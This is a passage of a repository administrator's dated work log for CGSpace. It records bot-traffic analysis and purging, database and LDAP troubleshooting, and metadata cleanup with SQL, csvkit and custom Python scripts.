    • 130.255.162.154 is in Sweden and made 46,000 requests in August and it is using this user agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 11.1; rv:84.0) Gecko/20100101 Firefox/84.0
      • +
    • 35.174.144.154 is on Amazon and made 28,000 requests with this user agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.97 Safari/537.36
      • +
    • 192.121.135.6 is in Sweden and made 9,000 requests with this user agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 11.1; rv:84.0) Gecko/20100101 Firefox/84.0
      • +
    • 185.38.40.66 is in Germany and made 6,000 requests with this user agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:89.0) Gecko/20100101 Firefox/89.0 BoldBrains SC/1.10.2.4
      • +
    • 3.225.28.105 is in Amazon and made 3,000 requests with this user agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.102 Safari/537.36
      • +
    • I also noticed that we still have tons (25,000) of requests by MSNbot using this normal-looking user agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko
      • +
    • I can identify them by their reverse DNS: msnbot-40-77-167-105.search.msn.com.
      • +
    • I had already purged a bunch of these by their IPs in 2021-06, so it looks like I have to do that again
      • +
    • While looking at the MSN requests I noticed tons of requests from another strange host using reverse IP DNS: malta2095.startdedicated.com., astra5139.startdedicated.com., and many others
      • +
    • They must be related, because I see them all using the exact same user agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko
      • +
    • So this startdedicated.com DNS is some Bing bot also…
      • +
    +
    • +
  • I extracted all the IPs and purged them using my check-spider-ip-hits.sh script +
      +
    • In total I purged 225,000 hits…
      • +
    +
    • +
+

2021-09-12

+
    +
  • Start a harvest on AReS
    • +
+

2021-09-13

+
    +
  • Mishell Portilla asked me about thumbnails on CGSpace being small +
      +
    • For example, 10568/114576 has a lot of white space on the left side
      • +
    • I created a new thumbnail with vipsthumbnail:
      • +
    +
    • +
+
$ vipsthumbnail ARRTB2020ST.pdf -s x600 -o '%s.jpg[Q=85,optimize_coding,strip]'
+
    +
  • Looking at the PDF’s metadata I see: +
      +
    • Producer: iLovePDF
      • +
    • Creator: Adobe InDesign 15.0 (Windows)
      • +
    • Format: PDF-1.7
      • +
    +
    • +
  • Eventually I should do more tests on this and perhaps file a bug with DSpace…
    • +
  • Some Alliance people contacted me about getting access to the CGSpace API to deposit with their TIP tool +
      +
    • I told them I can give them access to DSpace Test and that we should have a meeting soon
      • +
    • We need to figure out what controlled vocabularies they should use
      • +
    +
    • +
+

2021-09-14

+
    +
  • Some people from the Alliance contacted me last week about AICCRA metadata +
      +
    • They have internal things called Components and Clusters, so they were asking how to store these in CGSpace
      • +
    • I suggested adding new metadata values: cg.subject.aiccraComponent and cg.subject.aiccraCluster
      • +
    • On second thought, these are identifiers so perhaps this is better: cg.identifier.aiccraComponent and cg.identifier.aiccraCluster
      • +
    +
    • +
+

2021-09-15

+
    +
  • Add ORCID identifier for new ILRI staff to our controlled vocabualary +
      +
    • Also tag their twenty-five existing items on CGSpace:
      • +
    +
    • +
+
$ cat 2021-09-15-add-orcids.csv                                                                                  
+dc.contributor.author,cg.creator.identifier
+"Kotchofa, Pacem","Pacem Kotchofa: 0000-0002-1640-8807"
+$ ./ilri/add-orcid-identifiers-csv.py -i 2021-09-15-add-orcids.csv -db dspace -u dspace -p 'fuuuu'
+
    +
  • Meeting with Leroy Mwanzia and some other Alliance people about depositing to CGSpace via API +
      +
    • I gave them some technical information about the CGSpace API and links to the controlled vocabularies and metadata registries we are using
      • +
    • I also told them that I would create some documentation listing the metadata fields, which are mandatory, and the respective controlled vocabularies
      • +
    +
    • +
+

2021-09-16

+
    +
  • Start writing a Python script to parse input-forms.xml to create documentation for submissions + +
    • +
  • I decided to update all the metadata field descriptions in our registry so I can use that instead of the “hint” for each field in the input form +
      +
    • I will include examples as well so that it becomes a better resource
      • +
    +
    • +
+

2021-09-17

+ +
$ psql -c 'SELECT * FROM pg_stat_activity' | wc -l
+63
+
    +
  • Load on the server is under 1.0, and there are only about 1,000 XMLUI sessions, which seems to be normal for this time of day according to Munin
    • +
  • But the DSpace log file shows tons of database issues:
    • +
+
$ grep -c "Timeout waiting for idle object" dspace.log.2021-09-17 
+14779
+
    +
  • The earliest one I see is around midnight (now is 2PM):
    • +
+
2021-09-17 00:01:49,572 WARN  org.hibernate.engine.jdbc.spi.SqlExceptionHelper @ SQL Error: 0, SQLState: null
+2021-09-17 00:01:49,572 ERROR org.hibernate.engine.jdbc.spi.SqlExceptionHelper @ Cannot get a connection, pool error Timeout waiting for idle object
+
    +
  • But I was definitely logged into the site this morning so there were no issues then…
    • +
  • It seems that a few errors are normal, but there’s obviously something wrong today:
    • +
+
$ grep -c "Timeout waiting for idle object" dspace.log.2021-09-*
+dspace.log.2021-09-01:116
+dspace.log.2021-09-02:163
+dspace.log.2021-09-03:77
+dspace.log.2021-09-04:13
+dspace.log.2021-09-05:310
+dspace.log.2021-09-06:0
+dspace.log.2021-09-07:29
+dspace.log.2021-09-08:86
+dspace.log.2021-09-09:24
+dspace.log.2021-09-10:26
+dspace.log.2021-09-11:12
+dspace.log.2021-09-12:5
+dspace.log.2021-09-13:10
+dspace.log.2021-09-14:102
+dspace.log.2021-09-15:542
+dspace.log.2021-09-16:368
+dspace.log.2021-09-17:15235
+
    +
  • I restarted the server and DSpace came up fine… so it must have been some kind of fluke
    • +
  • Continue working on cleaning up and annotating the metadata registry on CGSpace +
      +
    • I removed two old metadata fields that we stopped using earlier this year with the CG Core v2 migration: cg.targetaudience and cg.title.journal
      • +
    +
    • +
+

2021-09-18

+ +

2021-09-19

+
    +
  • Improve CGSpace Submission Guidelines metadata parsing and documentation + +
    • +
  • Start a full harvest on AReS +
      +
    • The harvest completed successfully, but for some reason there were only 92,000 items…
      • +
    • I updated all Docker images, rebuilt the application, then ran all system updates and rebooted the system:
      • +
    +
    • +
+
$ docker images | grep -v ^REPO | sed 's/ \+/:/g' | cut -d: -f1,2 | xargs -L1 docker pull
+$ docker-compose build
+

2021-09-20

+
    +
  • I synchronized the production CGSpace PostreSQL, Solr, and Assetstore data with DSpace Test
    • +
  • Over the weekend a few users reported that they could not log into CGSpace +
      +
    • I checked LDAP and it seems there is something wrong:
      • +
    +
    • +
+
$ ldapsearch -x -H ldaps://AZCGNEROOT2.CGIARAD.ORG:636/ -b "dc=cgiarad,dc=org" -D "cgspace-ldap-account@cgiarad.org" -W "(sAMAccountName=someaccountnametocheck)"
+Enter LDAP Password: 
+ldap_sasl_bind(SIMPLE): Can't contact LDAP server (-1)
+
    +
  • I sent a message to CGNET to ask about the server settings and see if our IP is still whitelisted +
      +
    • It turns out that CGNET created a new Active Directory server (AZCGNEROOT3.cgiarad.org) and decomissioned the old one last week
      • +
    • I updated the configuration on CGSpace and confirmed that it is working
      • +
    +
    • +
  • Create another test account for Rafael from Bioversity-CIAT to submit some items to DSpace Test:
    • +
+
$ dspace user -a -m tip-submit@cgiar.org -g CIAT -s Submit -p 'fuuuuuuuu'
+
    +
  • I added the account to the Alliance Admins account, which is should allow him to submit to any Alliance collection +
      +
    • According to my notes from 2020-10 the account must be in the admin group in order to submit via the REST API
      • +
    +
    • +
  • Run dspace cleanup -v process on CGSpace to clean up old bitstreams
    • +
  • Export lists of authors, donors, and affiliations for Peter Ballantyne to clean up:
    • +
+
localhost/dspace63= > \COPY (SELECT DISTINCT text_value as "dc.contributor.author", count(*) FROM metadatavalue WHERE dspace_object_id IN (SELECT uuid FROM item) AND metadata_field_id = 3 GROUP BY text_value ORDER BY count DESC) to /tmp/2021-09-20-authors.csv WITH CSV HEADER;
+COPY 80901
+localhost/dspace63= > \COPY (SELECT DISTINCT text_value as "cg.contributor.donor", count(*) FROM metadatavalue WHERE dspace_object_id IN (SELECT uuid FROM item) AND metadata_field_id = 248 GROUP BY text_value ORDER BY count DESC) to /tmp/2021-09-20-donors.csv WITH CSV HEADER;
+COPY 1274
+localhost/dspace63= > \COPY (SELECT DISTINCT text_value as "cg.contributor.affiliation", count(*) FROM metadatavalue WHERE dspace_object_id IN (SELECT uuid FROM item) AND metadata_field_id = 211 GROUP BY text_value ORDER BY count DESC) to /tmp/2021-09-20-affiliations.csv WITH CSV HEADER;
+COPY 8091
+

2021-09-23

+
    +
  • Peter sent me back the corrections for the affiliations +
      +
    • It is about 1,280 corrections and fourteen deletions
      • +
    • I cleaned them up in csv-metadata-quality and then extracted the deletes and fixes to separate files to run with fix-metadata-values.py and delete-metadata-values.py:
      • +
    +
    • +
+
$ csv-metadata-quality -i ~/Downloads/2021-09-20-affiliations.csv -o /tmp/affiliations.csv -x cg.contributor.affiliation
+$ csvgrep -c 'correct' -m 'DELETE' /tmp/affiliations.csv > /tmp/affiliations-delete.csv
+$ csvgrep -c 'correct' -r '^.+$' /tmp/affiliations.csv | csvgrep -i -c 'correct' -m 'DELETE' > /tmp/affiliations-fix.csv
+$ ./ilri/fix-metadata-values.py -i /tmp/affiliations-fix.csv -db dspace -u dspace -p 'fuuu' -f cg.contributor.affiliation -t 'correct' -m 211
+$ ./ilri/delete-metadata-values.py -i /tmp/affiliations-fix.csv -db dspace -u dspace -p 'fuuu' -f cg.contributor.affiliation -m 211
+
    +
  • Then I updated the controlled vocabulary for affiliations by exporting the top 1,000 used terms:
    • +
+
localhost/dspace63= > \COPY (SELECT DISTINCT text_value as "cg.contributor.affiliation", count(*) FROM metadatavalue WHERE dspace_object_id IN (SELECT uuid FROM item) AND metadata_field_id = 211 GROUP BY text_value ORDER BY count DESC LIMIT 1000) to /tmp/2021-09-23-affiliations.csv WITH CSV HEADER;
+$ csvcut -c 1 /tmp/2021-09-23-affiliations.csv | sed 1d > /tmp/affiliations.txt
+
    +
  • Peter also sent me 310 corrections and 234 deletions for donors so I applied those and updated the controlled vocabularies too
    • +
  • Move some One CGIAR-related collections around the CGSpace hierarchy for Peter Ballantyne
    • +
  • Mohammed Salem asked me for an ID to UUID mapping for CGSpace collections, so I generated one similar to the ID one I sent him in 2020-11:
    • +
+
localhost/dspace63= > \COPY (SELECT collection_id,uuid FROM collection WHERE collection_id IS NOT NULL) TO /tmp/2021-09-23-collection-id2uuid.csv WITH CSV HEADER;
+COPY 1139
+

2021-09-24

+
    +
  • Peter and Abenet agreed that we should consider converting more of our UPPER CASE metadata values to Title Case +
      +
    • It seems that these fields are all still using UPPER CASE: +
        +
      • cg.subject.alliancebiovciat
        • +
      • cg.species.breed
        • +
      • cg.subject.bioversity
        • +
      • cg.subject.ccafs
        • +
      • cg.subject.ciat
        • +
      • cg.subject.cip
        • +
      • cg.identifier.iitatheme
        • +
      • cg.subject.iita
        • +
      • cg.subject.ilri
        • +
      • cg.subject.pabra
        • +
      • cg.river.basin
        • +
      • cg.coverage.subregion (done)
        • +
      • dcterms.audience (done)
        • +
      • cg.subject.wle
        • +
      +
      • +
    • We can do some of these without even asking anyone, for example cg.coverage.subregion, cg.river.basin, and dcterms.audience
      • +
    +
    • +
  • First, I will look at cg.coverage.subregion +
      +
    • These should ideally come from ISO 3166-2 subdivisions
      • +
    • I will sentence case them and then create a controlled vocabulary from those that are matching (and worry about cleaning the rest up later)
      • +
    +
    • +
+
localhost/dspace63= > UPDATE metadatavalue SET text_value=INITCAP(text_value) WHERE dspace_object_id IN (SELECT uuid FROM item) AND metadata_field_id=231;
+UPDATE 2903
+localhost/dspace63= > \COPY (SELECT DISTINCT text_value as "cg.coverage.subregion" FROM metadatavalue WHERE dspace_object_id IN (SELECT uuid FROM item) AND metadata_field_id = 231) to /tmp/2021-09-24-subregions.txt;
+COPY 1200
+
    +
  • Then I process the list for matches with my subdivision-lookup.py script, and extract only the values that matched:
    • +
+
$ ./ilri/subdivision-lookup.py -i /tmp/2021-09-24-subregions.txt -o /tmp/subregions.csv
+$ csvgrep -c matched -m 'true' /tmp/subregions.csv | csvcut -c 1 | sed 1d > /tmp/subregions-matched.txt
+$ wc -l /tmp/subregions-matched.txt 
+81 /tmp/subregions-matched.txt
+
    +
  • Then I updated the controlled vocabulary in the submission forms
    • +
  • I did the same for dcterms.audience, taking special care to a few all-caps values:
    • +
+
localhost/dspace63= > UPDATE metadatavalue SET text_value=INITCAP(text_value) WHERE dspace_object_id IN (SELECT uuid FROM item) AND metadata_field_id=144 AND text_value != 'NGOS' AND text_value != 'CGIAR';
+localhost/dspace63= > UPDATE metadatavalue SET text_value='NGOs' WHERE dspace_object_id IN (SELECT uuid FROM item) AND metadata_field_id=144 AND text_value = 'NGOS';
+
    +
  • Update submission form comment for DOIs because it was still recommending people use the “dx.doi.org” format even though I batch updated all DOIs to the “doi.org” format a few times in the last year +
      +
    • Then I updated all existing metadata to the new format again:
      • +
    +
    • +
+
dspace=# UPDATE metadatavalue SET text_value = regexp_replace(text_value, 'https://dx.doi.org', 'https://doi.org') WHERE dspace_object_id IN (SELECT uuid FROM item) AND metadata_field_id = 220 AND text_value LIKE 'https://dx.doi.org%';
+UPDATE 49
+

2021-09-26

+
    +
  • Mohammed Salem told me last week that MELSpace and WorldFish have been upgraded to DSpace 6 so I updated the repository setup in AReS to use the UUID field instead of IDs +
      +
    • This could explain how I had problems harvesting last week, when I only had 90,000 items…
      • +
    +
    • +
  • I started a fresh harvest on AReS +
      +
    • I realized that the sitemap on MELSpace is missing so AReS skips it, which means we cannot harvest right now… ouch
      • +
    • I sent a message to Salem and he fixed it quickly
      • +
    • I added WorldFish’s DSpace Statistics API instance to AReS before starting the plugins and now our numbers are much higher, nice!
      • +
    +
    • +
+

2021-09-27

+
    +
  • Add CGIAR Action Area (cg.subject.actionArea) to CGSpace as Peter had asked me a few days ago
    • +
+

2021-09-28

+
    +
  • Francesca from the Alliance asked for help moving a bunch of reports from one collections to another on CGSpace +
      +
    • She is having problems with the “move” dialog taking minutes for each item
      • +
    • I exported the collection and sent her a copy with just the few fields she would need in order to mark the ones that need to move, then I can do the rest:
      • +
    +
    • +
+
$ csvcut -c 'id,collection,dc.title[en_US]' ~/Downloads/10568-106990.csv > /tmp/2021-09-28-alliance-reports.csv
+
    +
  • She sent it back fairly quickly with a new column marked “Move” so I extracted those items that matched and set them to the new owning collection:
    • +
+
$ csvgrep -c Move -m 'Yes' ~/Downloads/2021_28_09_alliance_reports_csv.csv | csvcut -c 1,2 | sed 's_10568/106990_10568/111506_' > /tmp/alliance-move.csv
+
    +
  • Maria from the Alliance emailed us to say that approving submissions was slow on CGSpace +
      +
    • I looked at the PostgreSQL activity and it seems low:
      • +
    +
    • +
+
postgres@linode18:~$ psql -c 'SELECT * FROM pg_stat_activity' | wc -l
+59
+
    +
  • Locks look high though:
    • +
+
postgres@linode18:~$ psql -c 'SELECT * FROM pg_locks pl LEFT JOIN pg_stat_activity psa ON pl.pid = psa.pid;' | sort | uniq -c | wc -l
+1154
+
    +
  • Indeed it seems something started causing locks to increase yesterday:
    • +
+

PostgreSQL locks week

+
    +
  • And query length increasing since yesterday:
    • +
+

PostgreSQL query length week

+
    +
  • The number of DSpace sessions is normal, hovering around 1,000…
    • +
  • Looking closer at the PostgreSQL activity log, I see the locks are all held by the dspaceCli user… which seem weird:
    • +
+
postgres@linode18:~$ psql -c "SELECT * FROM pg_locks pl LEFT JOIN pg_stat_activity psa ON pl.pid = psa.pid WHERE application_name='dspaceCli';" | wc -l
+1096
+
    +
  • Now I’m wondering why there are no connections from dspaceApi or dspaceWeb. Could it be that our Tomcat JDBC pooling via JNDI isn’t working? +
      +
    • I see the same thing on DSpace Test hmmmm
      • +
    • The configuration in server.xml is correct, but it could be that when I changed to using the updated JDBC driver from pom.xml instead of dropping it in the Tomcat lib directory that something broke…
      • +
    • I downloaded the latest JDBC jar and put it in Tomcat’s lib directory on DSpace Test and after restarting Tomcat I can see connections from dspaceWeb and dspaceApi again
      • +
    • I will do the same on CGSpace and then revert the JDBC change in Ansible and DSpace pom.xml
      • +
    +
    • +
+

2021-09-29

+
    +
  • Export a list of ILRI subjects from CGSpace to validate against AGROVOC for Peter and Abenet:
    • +
+
localhost/dspace63= > \COPY (SELECT DISTINCT text_value FROM metadatavalue WHERE dspace_object_id IN (SELECT uuid FROM item) AND metadata_field_id = 203) to /tmp/2021-09-29-ilri-subject.txt;
+COPY 149
+
    +
  • Then validate and format the matches:
    • +
+
$ ./ilri/agrovoc-lookup.py -i /tmp/2021-09-29-ilri-subject.txt -o /tmp/2021-09-29-ilri-subjects.csv -d
+$ csvcut -c subject,'match type' /tmp/2021-09-29-ilri-subjects.csv | sed -e 's/match type/matched/' -e 's/\(alt\|pref\)Label/yes/' > /tmp/2021-09-29-ilri-subjects2.csv
+
    +
  • I talked to Salem about depositing from MEL to CGSpace +
      +
    • He mentioned that the one issue is that when you deposit to a workflow you don’t get a Handle or any kind of identifier back!
      • +
    • We might have to come to some kind of agreement that they deposit items without going into the workflow but that we have some kind of edit role in MEL
      • +
    • He also said that they are looking into using the Research Organization Registry (RoR) in MEL, at least adding the ror_id and storing it
      • +
    • I need to propose this to Peter again and perhaps start aligning our affiliations closer (I could even do something like the country codes with a process that scans every day)
      • +
    +
    • +
  • Talk to Moayad about OpenRXV +
      +
    • We decided that we’d keep harvesting all the Handles from the Altmetric prefix API, but then have a plugin to retrive DOI scores that we can run manually
      • +
    +
    • +
+

2021-09-30

+
    +
  • Look over 292 non-IWMI publications from Udana for inclusion into the Virtual library on water management collection on CGSpace +
      +
    • I did some minor cleanup to remove blank columns and run it through the csv-metadata-quality tool
      • +
    • I told him to add licenses and journal volume/issue and asked Abenet for input as well
      • +
    +
    • +
+ + + + + + +
+ + + +
+ + + + +
+
+ + + + + + + + + diff --git a/docs/2021-10/index.html b/docs/2021-10/index.html new file mode 100644 index 000000000..b66ef0538 --- /dev/null +++ b/docs/2021-10/index.html @@ -0,0 +1,845 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + October, 2021 | CGSpace Notes + + + + + + + + + + + + + + + + + + + + + +
+
+ +
+
+ + + + +
+
+

CGSpace Notes

+

Documenting day-to-day work on the CGSpace repository.

+
+
+ + + + +
+
+
+ + + + +
+
+

October, 2021

+

+ + in + Notes + + +

+
+

2021-10-01

+
    +
  • Export all affiliations on CGSpace and run them against the latest RoR data dump:
    • +
+
localhost/dspace63= > \COPY (SELECT DISTINCT text_value as "cg.contributor.affiliation", count(*) FROM metadatavalue WHERE dspace_object_id IN (SELECT uuid FROM item) AND metadata_field_id = 211 GROUP BY text_value ORDER BY count DESC) to /tmp/2021-10-01-affiliations.csv WITH CSV HEADER;
+$ csvcut -c 1 /tmp/2021-10-01-affiliations.csv | sed 1d > /tmp/2021-10-01-affiliations.txt
+$ ./ilri/ror-lookup.py -i /tmp/2021-10-01-affiliations.txt -r 2021-09-23-ror-data.json -o /tmp/2021-10-01-affili
+ations-matching.csv
+$ csvgrep -c matched -m true /tmp/2021-10-01-affiliations-matching.csv | sed 1d | wc -l 
+1879
+$ wc -l /tmp/2021-10-01-affiliations.txt 
+7100 /tmp/2021-10-01-affiliations.txt
+
    +
  • So we have 1879/7100 (26.46%) matching already
    • +
+

2021-10-03

+
    +
  • Dominique from IWMI asked me for information about how CGSpace partners are using CGSpace APIs to feed their websites
    • +
  • Start a fresh indexing on AReS
    • +
  • Udana sent me his file of 292 non-IWMI publications for the Virtual library on water management +
      +
    • He added licenses
      • +
    • I want to clean up the dcterms.extent field though because it has volume, issue, and pages there
      • +
    • I cloned the column several times and extracted values based on their positions, for example: +
        +
      • Volume: value.partition(":")[0]
        • +
      • Issue: value.partition("(")[2].partition(")")[0]
        • +
      • Page: "p. " + value.replace(".", "")
        • +
      +
      • +
    +
    • +
+

2021-10-04

+
    +
  • Start looking at the last month of Solr statistics on CGSpace +
      +
    • I see a number of IPs with “normal” user agents who clearly behave like bots +
        +
      • 198.15.130.18: 21,000 requests to /discover with a normal-looking user agent, from ASN 11282 (SERVERYOU, US)
        • +
      • 93.158.90.107: 8,500 requests to handle and browse links with a Firefox 84.0 user agent, from ASN 12552 (IPO-EU, SE)
        • +
      • 193.235.141.162: 4,800 requests to handle, browse, and discovery links with a Firefox 84.0 user agent, from ASN 51747 (INTERNETBOLAGET, SE)
        • +
      • 3.225.28.105: 2,900 requests to REST API for the CIAT Story Maps collection with a normal user agent, from ASN 14618 (AMAZON-AES, US)
        • +
      • 34.228.236.6: 2,800 requests to discovery for the CGIAR System community with user agent Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1), from ASN 14618 (AMAZON-AES, US)
        • +
      • 18.212.137.2: 2,800 requests to discovery for the CGIAR System community with user agent Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1), from ASN 14618 (AMAZON-AES, US)
        • +
      • 3.81.123.72: 2,800 requests to discovery and handles for the CGIAR System community with user agent Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1), from ASN 14618 (AMAZON-AES, US)
        • +
      • 3.227.16.188: 2,800 requests to discovery and handles for the CGIAR System community with user agent Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1), from ASN 14618 (AMAZON-AES, US)
        • +
      +
      • +
    • Looking closer into the requests with this Mozilla/4.0 user agent, I see 500+ IPs using it:
      • +
    +
    • +
+
# zcat --force /var/log/nginx/*.log* | grep 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)' | awk '{print $1}' | sort | uniq > /tmp/mozilla-4.0-ips.txt
+# wc -l /tmp/mozilla-4.0-ips.txt 
+543 /tmp/mozilla-4.0-ips.txt
+
    +
  • Then I resolved the IPs and extracted the ones belonging to Amazon:
    • +
+
$ ./ilri/resolve-addresses-geoip2.py -i /tmp/mozilla-4.0-ips.txt -k "$ABUSEIPDB_API_KEY" -o /tmp/mozilla-4.0-ips.csv
+$ csvgrep -c asn -m 14618 /tmp/mozilla-4.0-ips.csv | csvcut -c ip | sed 1d | tee /tmp/amazon-ips.txt | wc -l
+
    +
  • I am thinking I will purge them all, as I have several indicators that they are bots: mysterious user agent, IP owned by Amazon
    • +
  • Even more interesting, these requests are weighted VERY heavily on the CGIAR System community:
    • +
+
   1592 GET /handle/10947/2526
+   1592 GET /handle/10947/2527
+   1592 GET /handle/10947/34
+   1593 GET /handle/10947/6
+   1594 GET /handle/10947/1
+   1598 GET /handle/10947/2515
+   1598 GET /handle/10947/2516
+   1599 GET /handle/10568/101335
+   1599 GET /handle/10568/91688
+   1599 GET /handle/10947/2517
+   1599 GET /handle/10947/2518
+   1599 GET /handle/10947/2519
+   1599 GET /handle/10947/2708
+   1599 GET /handle/10947/2871
+   1600 GET /handle/10568/89342
+   1600 GET /handle/10947/4467
+   1607 GET /handle/10568/103816
+ 290382 GET /handle/10568/83389
+
    +
  • Before I purge all those I will ask someone Samuel Stacey from the System Office to hopefully get an insight…
    • +
  • Meeting with Michael Victor, Peter, Jane, and Abenet about the future of repositories in the One CGIAR
    • +
  • Meeting with Michelle from Altmetric about their new CSV upload system +
      +
    • I sent her some examples of Handles that have DOIs, but no linked score (yet) to see if an association will be created when she uploads them
      • +
    +
    • +
+
doi,handle
+10.1016/j.agsy.2021.103263,10568/115288
+10.3389/fgene.2021.723360,10568/115287
+10.3389/fpls.2021.720670,10568/115285
+
    +
  • Extract the AGROVOC subjects from IWMI’s 292 publications to validate them against AGROVOC:
    • +
+
$ csvcut -c 'dcterms.subject[en_US]' ~/Downloads/2021-10-03-non-IWMI-publications.csv | sed -e 1d -e 's/||/\n/g' -e 's/"//g' | sort -u > /tmp/agrovoc.txt
+$ ./ilri/agrovoc-lookup.py -i /tmp/agrovoc-sorted.txt -o /tmp/agrovoc-matches.csv
+$ csvgrep -c 'number of matches' -m '0' /tmp/agrovoc-matches.csv | csvcut -c 1 > /tmp/invalid-agrovoc.csv
+

2021-10-05

+
    +
  • Sam put me in touch with Dodi from the System Office web team and he confirmed that the Amazon requests are not theirs +
      +
    • I added Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) to the list of bad bots in nginx
      • +
    • I purged all the Amazon IPs using this user agent, as well as the few other IPs I identified yesterday
      • +
    +
    • +
+
$ ./ilri/check-spider-ip-hits.sh -f /tmp/robot-ips.txt -p
+...
+
+Total number of bot hits purged: 465119
+

2021-10-06

+ +
localhost/dspace63= > CREATE EXTENSION pg_trgm;
+localhost/dspace63= > SELECT metadata_value_id, text_value, dspace_object_id FROM metadatavalue WHERE dspace_object_id IN (SELECT uuid FROM item) AND metadata_field_id=64 AND SIMILARITY(text_value,'Molecular marker based genetic diversity assessment of Striga resistant maize inbred lines') > 0.5;
+ metadata_value_id │                                         text_value                                         │           dspace_object_id
+───────────────────┼────────────────────────────────────────────────────────────────────────────────────────────┼──────────────────────────────────────
+           3652624 │ Molecular marker based genetic diversity assessment of Striga resistant maize inbred lines │ b7f0bf12-b183-4b2f-bbd2-7a5697b0c467
+           3677663 │ Molecular marker based genetic diversity assessment of Striga resistant maize inbred lines │ fb62f551-f4a5-4407-8cdc-6bff6dac399e
+(2 rows)
+
    +
  • I was able to find an exact duplicate for an IITA item by searching for its title (I already knew that these existed)
    • +
  • I started working on a basic Python script to do this and managed to find an actual duplicate in the recent IWMI items +
      +
    • I think I will check for similar titles, and if I find them I will print out the handles for verification
      • +
    • I could also proceed to check other metadata like type because those shouldn’t vary too much
      • +
    +
    • +
  • I ran my new check-duplicates.py script on the 292 non-IWMI publications from Udana and found twelve potential duplicates +
      +
    • Upon checking them manually, I found that 7/12 were indeed already present on CGSpace!
      • +
    • This is with the similarity threshold at 0.5. I wonder if tweaking that higher will make the script run faster and eliminate some false positives
      • +
    • I re-ran it with higher thresholds this eliminated all false positives, but it still took 24 minutes to run for 292 items! +
        +
      • 0.6: ./ilri/check-duplicates.py -i ~/Downloads/2021-10-03-non-IWMI-publications.cs 0.09s user 0.03s system 0% cpu 24:40.42 total
        • +
      • 0.7: ./ilri/check-duplicates.py -i ~/Downloads/2021-10-03-non-IWMI-publications.cs 0.12s user 0.03s system 0% cpu 24:29.15 total
        • +
      • 0.8: ./ilri/check-duplicates.py -i ~/Downloads/2021-10-03-non-IWMI-publications.cs 0.09s user 0.03s system 0% cpu 25:44.13 total
        • +
      +
      • +
    +
    • +
  • Some minor updates to csv-metadata-quality +
      +
    • Fix two issues with regular expressions in the duplicate items and experimental language checks
      • +
    • Add a check for items that have a DOI listed in their citation, but are missing a standalone DOI field
      • +
    +
    • +
  • Then I ran this new version of csv-metadata-quality on an export of IWMI’s community, minus some fields I don’t want to check:
    • +
+
$ csvcut -C 'dc.date.accessioned,dc.date.accessioned[],dc.date.accessioned[en_US],dc.date.available,dc.date.available[],dc.date.available[en_US],dcterms.issued[en_US],dcterms.issued[],dcterms.issued,dc.description.provenance[en],dc.description.provenance[en_US],dc.identifier.uri,dc.identifier.uri[],dc.identifier.uri[en_US],dcterms.abstract[en_US],dcterms.bibliographicCitation[en_US],collection' ~/Downloads/iwmi.csv > /tmp/iwmi-to-check.csv
+$ csv-metadata-quality -i /tmp/iwmi-to-check.csv -o /tmp/iwmi.csv | tee /tmp/out.log
+$ xsv split -s 2000 /tmp /tmp/iwmi.csv
+
    +
  • I noticed each CSV only had 10 or 20 corrections, mostly that none of the duplicate metadata values were removed in the CSVs… +
      +
    • I cut a subset of the fields from the main CSV and tried again, but DSpace said “no changes detected”
      • +
    • The duplicates are definitely removed from the CSV, but DSpace doesn’t detect them
      • +
    • I realized this is an issue I’ve had before, but forgot because I usually use csv-metadata-quality for new items, not ones already inside DSpace!
      • +
    • I found a comment on thread on the dspace-tech mailing list from helix84 in 2015 (“No changes were detected” when importing metadata via XMLUI") where he says:
      • +
    +
    • +
+
+

It’s very likely that multiple values in a single field are being compared as an unordered set rather than an ordered list. +Try doing it in two imports. In first import, remove all authors. In second import, add them in the new order.

+
+
    +
  • Shit, so that’s worth looking into…
    • +
+

2021-10-07

+
    +
  • I decided to upload the cleaned IWMI community by moving the cleaned metadata field from dcterms.subject[en_US] to dcterms.subject[en_Fu] temporarily, uploading them, then moving them back, and uploading again +
      +
    • I started by copying just a handful of fields from the iwmi.csv community export:
      • +
    +
    • +
+
$ csvcut -c 'id,cg.contributor.affiliation[en_US],cg.coverage.country[en_US],cg.coverage.iso3166-alpha2[en_US],cg.coverage.subregion[en_US],cg.identifier.doi[en_US],cg.identifier.iwmilibrary[en_US],cg.identifier.url[en_US],cg.isijournal[en_US],cg.issn[en_US],cg.river.basin[en_US],dc.contributor.author[en_US],dcterms.subject[en_US]' ~/Downloads/iwmi.csv > /tmp/iwmi-duplicate-metadata.csv
+# Copy and blank columns in OpenRefine
+$ csv-metadata-quality -i ~/Downloads/2021-10-07-IWMI-duplicate-metadata-csv.csv -o /tmp/iwmi-duplicates-cleaned.csv | tee /tmp/out.log
+$ xsv split -s 2000 /tmp /tmp/iwmi-duplicates-cleaned.csv
+
    +
  • It takes a few hours per 2,000 items because DSpace processes them so slowly… sigh…
    • +
+

2021-10-08

+
    +
  • I decided to update these records in PostgreSQL instead of via several CSV batches, as there were several others to normalize too:
    • +
+
cgspace=# SELECT DISTINCT text_lang, count(text_lang) FROM metadatavalue WHERE dspace_object_id IN (SELECT uuid FROM item) GROUP BY text_lang ORDER BY count DESC;
+ text_lang |  count  
+-----------+---------
+ en_US     | 2603711
+ en_Fu     |  115568
+ en        |    8818
+           |    5286
+ fr        |       2
+ vn        |       2
+           |       0
+(7 rows)
+cgspace=# BEGIN;
+cgspace=# UPDATE metadatavalue SET text_lang='en_US' WHERE dspace_object_id IN (SELECT uuid FROM item) AND text_lang IN ('en_Fu', 'en', '');
+UPDATE 129673
+cgspace=# COMMIT;
+
    +
  • So all this effort to remove ~400 duplicate metadata values in the IWMI community hmmm:
    • +
+
